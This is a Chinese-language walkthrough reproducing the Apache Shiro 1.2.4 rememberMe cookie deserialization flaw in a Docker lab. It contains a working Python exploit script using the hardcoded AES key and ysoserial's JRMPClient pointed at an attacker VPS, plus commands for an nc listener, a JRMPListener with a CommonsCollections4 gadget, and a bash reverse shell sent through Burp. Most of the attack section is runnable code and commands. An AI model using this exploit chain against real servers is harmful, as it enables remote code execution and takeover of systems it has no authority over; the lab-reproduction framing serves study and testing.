影响版本
Apache Shiro <= 1.2.4
产生原因
shiro默认使用了CookieRememberMeManager
,其处理cookie的流程是:得到rememberMe的cookie值
-->Base64解码
-->AES解密
-->反序列化
。
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload 构造
前16字节的密钥
-->后面加入序列化参数
-->AES加密
-->base64编码
-->发送cookie
。
shiro.py
import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdef encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
使用大佬脚本生成 payload(ysoserial.jar
文件和运行目录处于同一目录)
python shiro.py vpsip:1099

环境搭建
这里依旧使用docker进行漏洞复现
拉取镜像
docker pull medicean/vulapps:s_shiro_1
启动环境
docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
8081
代表环境运行在宿主机的8081
端口
进入容器环境
docker exec -it ID /bin/bash 进入容器
访问 web 环境(http://ip:8081/login.jsp)并登陆,登陆时勾选remember me
成功登录后访问任意url并抓包,查看到 cookie 中的 remember me
参数
漏洞复现
VPS 执行监听反弹 shell 的命令
nc -lvp 7878
使用 VPS 监控一个JRMP端口
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash 一句话反弹shell"
( 反弹 shell 需要进行java base64 编码)

将生成的payload通过burp进行发送
此时可看到已经收到反弹过来的 shell